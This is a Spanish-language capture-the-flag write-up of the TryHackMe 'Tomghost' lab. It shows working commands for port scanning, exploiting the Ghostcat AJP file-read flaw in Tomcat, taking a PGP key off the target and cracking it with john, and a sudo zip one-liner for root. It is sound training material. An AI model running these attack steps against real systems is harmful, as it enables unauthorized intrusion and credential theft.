Tomghost
December 30, 20223 minutes
IP Atacante = 10.10.10.10
IP Víctima = 10.10.126.65
Reconocimiento
Para empezar lo primero es comprobar si la máquina está activa y que OS tiene
❯ ping -c 1 10.10.126.65
PING 10.10.126.65 (10.10.126.65) 56(84) bytes of data.
64 bytes from 10.10.126.65: icmp_seq=1 ttl=63 time=53.0 ms
--- 10.10.126.65 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 52.964/52.964/52.964/0.000 ms
En este caso da un ttl (time to live) de 63, entendiendo que ttl=64: Linux / ttl=128: Windows. Esta máquina es Linux por aproximación
Escaneo de puertos (nmap)
Ahora empezamos con un escaneo de puertos
nmap -p- --open -sS --min-rate 5000 -n -vvv -Pn 10.10.126.65 -oG allPorts
Parámetro | Función |
---|---|
-p- | Para que el escaneo sea a todos los puertos (65536) |
–open | Para que solo reporte los puertos abiertos |
-sS –min-rate 5000 | Definir el tiempo del escaneo |
-n | Omitir resolución DNS |
-vvv | Para que vaya reportando lo que encuentre por consola |
-Pn | Skip host discovery |
-oG allPorts | Para que guarde el escaneo en format grepeable en un archivo llamado allPort |
Con una función definida en la zshrc llamada extractPorts, nos reporta los puertos abiertos de una forma más visual
Función extractPorts de @s4vitar
❯ extractPorts allPorts
───────┬─────────────────────────────────────────────────────────────────────────────────────────
│ File: extractPorts.tmp
───────┼─────────────────────────────────────────────────────────────────────────────────────────
1 │
2 │ [*] Extracting information...
3 │
4 │ [*] IP Address: 10.10.126.65
5 │ [*] Open ports: 22,53,8009,8080
6 │
7 │ [*] Ports copied to clipboard
8 │
───────┴─────────────────────────────────────────────────────────────────────────────────────────
Ahora con nmap vamos a intentar buscar las versiones de los servicios de los puertos y ejecutar scripts básicos de reconocimientos
❯ nmap -p22,53,8009,8080 -sC -sV 10.10.126.65
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 f3c89f0b6ac5fe95540be9e3ba93db7c (RSA)
| 256 dd1a09f59963a3430d2d90d8e3e11fb9 (ECDSA)
|_ 256 48d1301b386cc653ea3081805d0cf105 (ED25519)
53/tcp open tcpwrapped
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
| ajp-methods:
|_ Supported methods: GET HEAD POST OPTIONS
8080/tcp open http Apache Tomcat 9.0.30
|_http-favicon: Apache Tomcat
|_http-title: Apache Tomcat/9.0.30
Puerto 8009
Con searchsploit podemos buscar si existe algún exploit para ajp
❯ searchsploit ajp
-------------------------------------------------------- ---------------------------------
Exploit Title | Path
-------------------------------------------------------- ---------------------------------
Apache Tomcat - AJP 'Ghostcat File Read/Inclusion | multiple/webapps/48143.py
Apache Tomcat - AJP 'Ghostcat' File Read/Inclusion (Met | multiple/webapps/49039.rb
-------------------------------------------------------- ---------------------------------
Al probar con el 48143.py no funciona bien. E encontrado otro exploit de 00theway https://github.com/00theway/Ghostcat-CNVD-2020-10487
wget https://raw.githubusercontent.com/00theway/Ghostcat-CNVD-2020-10487/master/ajpShooter.py
python3 ajpShooter.py http://10.10.126.65 8009 /WEB-INF/web.xml read
En una línea específica un usuario y una contraseña
<description>
Welcome to GhostCat
skyfuck:--pass--
</description>
Escalada de privilegios
Merlin
Con ssh ya nos podemos conectar como skyfuck. Al entrar lo primero que vemos son dos archivos: credential.pgp y tryhackme.asc, con un cat tryhackme.asc
podemos ver que contiene una pgp private key con la cual podemos ver el contenido de credential.pgp.
gpg --import tryhackme.asc
gpg --decrypt credential.pgp
Nos pide una passphrase
Con python nos vamos a montar un servidor en la máquina víctima para pasarnos el archivo tryhackme.asc a nuestra máquina con python3 -m http.server
y desde nuestra máquina con wget nos lo pasamos wget http://10.10.126.65:8000/tryhackme.asc
Desde nuestra máquina vamos a sacar el hash con
gpg2john tryhackme.asc > hash
Ahora ya podemos mediante el diccionario rockyou.txt hacer fuerza bruta y encontrar la passphrase
john --format=gpg --wordlist=/usr/share/wordlists/rockyou.txt hash
Nos encuentra las passphrase, ahora ya podemos aceder al credentials.pgp y ver las credenciales de el usuario merlin.
Dentro de la carpeta personal de merlin podemos ver la flag user.txt.
Root
Con un sudo -l podemos ver que puede ejecutar zip como root sin proporcionar contraseña, nos podemos aprovechar de esto de la siguiente forma.
TF=$(mktemp -u)
sudo zip $TF /etc/hosts -T -TT 'sh #'
sudo rm $TF
Ahora ya somos root y podemos ver la flag en /root/root.txt